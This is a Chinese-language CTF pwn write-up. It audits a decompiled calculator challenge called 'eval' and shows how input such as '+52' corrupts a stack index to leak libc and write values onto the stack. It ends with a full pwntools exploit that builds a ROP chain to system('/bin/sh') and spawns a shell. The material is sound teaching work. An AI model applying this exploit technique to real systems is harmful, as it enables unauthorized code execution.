前言
算是这三个月以来第一次打比赛 生疏了很多 然后两题pwn的考点都在代码审计能力
我刚好这方面十分薄弱 所以在赛后借助这两题准备进行一次细致的代审
同时 文中出现的函数名大部分都是我自己重命名过的 所以不一样不用担心ida解析问题
eval
__int64 __fastcall main(int a1, char **a2, char **a3) { char v4[160]; // [rsp+10h] [rbp-1B0h] BYREF char v5[264]; // [rsp+B0h] [rbp-110h] BYREF unsigned __int64 v6; // [rsp+1B8h] [rbp-8h]
v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); alarm(0x1Eu); while ( recv_data(v5, 0x100uLL) ) vuln(v5, v4); return 0LL; }
|
main函数就是清空缓冲区以及设置闹钟 同时使用了一个while循环
先跟进一下recv_data这个函数
__int64 __fastcall sub_9D6(void *a1, size_t a2) { __int64 v3; // rax char buf; // [rsp+1Fh] [rbp-11h] BYREF __int64 v6; // [rsp+20h] [rbp-10h] unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u); v6 = 0LL; memset(a1, 0, a2); while ( a2 > v6 + 1 && read(0, &buf, 1uLL) != -1 && buf != 10 ) { if ( !check_opt(buf) && !check_number(buf) ) error(); v3 = v6++; *(a1 + v3) = buf; } return v6; }
|
通过单次输入一个字节 随后对该字节进行判断 是否为数字或者运算符 然后存储到a1中
随后来看一下vuln函数
int __fastcall vuln(__int64 buf, _QWORD *a2) { char v3; // [rsp+1Fh] [rbp-11h] __int64 buf2; // [rsp+20h] [rbp-10h] __int64 i; // [rsp+28h] [rbp-8h]
memset(a2, 0, 0xA0uLL); buf2 = buf; for ( i = 0LL; ; ++i ) { v3 = *(buf + i); if ( !check_opt(v3) ) // 如果不是opt就返回0 即退出for循环 break; deal_number(a2, buf2, i + buf); if ( !check_number(*(i + 1 + buf)) ) error(); sub_CB1(a2, v3); buf2 = i + 1 + buf; LABEL_8: ; } if ( v3 ) goto LABEL_8; deal_number(a2, buf2, i + buf); while ( *a2 ) calc(a2); return printf("%ld\n", a2[a2[3] + 3]); }
|
这里的逻辑稍微复杂一点
仍然是一个逐字节处理 只有是操作符才能执行for循环中的函数
来跟进一下deal_number函数
_BYTE *__fastcall sub_DC9(__int64 a1, const char *buf2, _BYTE *opt) { _BYTE *result; // rax __int64 v4; // rax __int64 v5; // rcx char old_opt; // [rsp+27h] [rbp-9h] _BYTE *first_number; // [rsp+28h] [rbp-8h]
if ( *buf2 == '0' ) error(); old_opt = *opt; *opt = 0; first_number = strtol(buf2, 0LL, 10); result = opt; *opt = old_opt; if ( first_number ) { v4 = *(a1 + 24); *(a1 + 24) = v4 + 1; v5 = v4 + 4; result = first_number; *(a1 + 8 * v5) = first_number; } return result; }
|
先判断了是否为0 是则终止程序
随后利用strtol将字符串转化为长整型 存储在a1+32处 同时a1+24处自增1 当然这是第一次处理的情况 后面由于a1+24的值不为0了 所以数字存储的地址也会相应增加一个字长
sub_cb1函数是一个对于运算符的检查以及筛分后运算
__int64 __fastcall sub_CB1(_QWORD *a1, char opt) { __int64 result; // rax
if ( !*a1 ) { result = (*a1)++; *(a1 + result + 8) = opt; return result; } if ( opt != '+' ) { if ( opt <= '+' ) { if ( opt != '*' ) // 这边是*的跳转 LABEL_16: error(); goto LABEL_8; } if ( opt != '-' ) { if ( opt != '/' ) goto LABEL_16; LABEL_8: if ( sub_91A(*(a1 + *a1 + 7)) ) // *(a1 + *a1 + 7)也就是运算符 sub_91A用来进一步检查是否为*和/ calc(a1); if ( *a1 > 0xEuLL ) error(); result = (*a1)++; *(a1 + result + 8) = opt; return result; } } calc(a1); if ( *a1 > 0xEuLL ) error(); result = (*a1)++; *(a1 + result + 8) = opt; return result; }
|
随后calc函数应该很容易就能看出来是干啥的 这里的a1数组后面我们再仔细分析
_QWORD *__fastcall sub_AC7(_QWORD *a1) { _QWORD *result; // rax int opt; // eax
result = *a1; if ( *a1 ) { opt = *(a1 + --*a1 + 8); if ( opt == '+' ) { a1[a1[3] + 2] += a1[a1[3] + 3]; // a1[a1[3] + 2]为第一个number } else if ( opt > '+' ) { if ( opt == '-' ) { a1[a1[3] + 2] -= a1[a1[3] + 3]; } else { if ( opt != '/' ) LABEL_15: error(); if ( !a1[a1[3] + 3] ) error(); a1[a1[3] + 2] /= a1[a1[3] + 3]; } } else { if ( opt != '*' ) goto LABEL_15; a1[a1[3] + 2] *= a1[a1[3] + 3]; } result = a1; --a1[3]; } return result; }
|
经过上面的分析 我们大概可以推理出这样一个大概的流程
比如 输入1+2
首先针对1进行判断 非运算符 所以跳出for循环 但是执行到下面的if的时候 又跳回到了if循环中
此时i自增1 也就是判断下一个字符 即+
+可以通过判断 此时第一次执行deal_number函数
而其第二个参数buf2 此时仍然执行buf首地址 也就是第一个数字
于是这里就存储第一个数字到了a1数组中对应的地址 也就是a1+32
随后检查下一个字符是否为数字 如果不是则终止程序
同时更改了buf2 使其指向2数字位于的地址
随后就因为第四个字节为空 此时就算真正跳出了for循环
此时再次执行deal_number 也就是对于第二个数字进行存储
随后进入calc函数执行操作
这里的a1[a1[3] + 2] 我们拆开分析 a1[3]显然是deal_number函数中的v4 在执行两次后 其变成了2 而最后得到的a1[4]就是第一个数字存储的地址 第二个则为a1[5]
完整的一个流程应该是这样的 看起来没有什么可以利用的漏洞点
但是如果我们输入的是+52会怎么样
其会直接进入if分支 随后执行deal_number函数 而此时的buf2指向的是运算符
而strtol函数是无法转化运算符的 也就是说其返回值为空 那么第一个数字的存储就失败了
随后只会存储52这个数字到a2+32的位置
随后执行到calc函数的时候 由于a2[3]此时才为1 所以就相当于a2[3]被增加到了53
而最后的printf语句就是根据a2[3]来索引的
printf("%ld\n", a2[a2[3] + 3])
|
所以漏洞就出现在这里 可以实现一个栈上内容的泄露
泄露出libc_start_main的地址
在得到了libc地址后 我们可以利用同样的办法来操控a2[3]的值 同时可以利用deal_number函数中的strtol函数把str型的system这类地址 转化到栈上 从而可以构建出一条执行链 随后输入空字符 就可以跳出while循环 从而使程序执行到leave ret
完整exp:
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("121.12.85.23",50532)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
payload = "+52"
io.sendline(payload)
libc.address = int(io.recvuntil("\n",drop = True),10)-0x24083
success("libc_addr :"+hex(libc.address))
system_addr = libc.sym['system']
payload = "+54+"+str(system_addr)
io.sendline(payload)
binsh_addr = next(libc.search(b"/bin/sh"))
payload = "+53+"+str(binsh_addr)
io.sendline(payload)
rdi_addr = libc.address + 0x0000000000023b6a
payload = "+52+"+str(rdi_addr)
io.sendline(payload)
ret_addr = rdi_addr+1
payload = "+51+"+str(ret_addr)
io.sendline(payload)
payload = ""
# gdb.attach(io,'b *$rebase(0x1054)')
io.sendline(payload)
# pause()
io.interactive()
|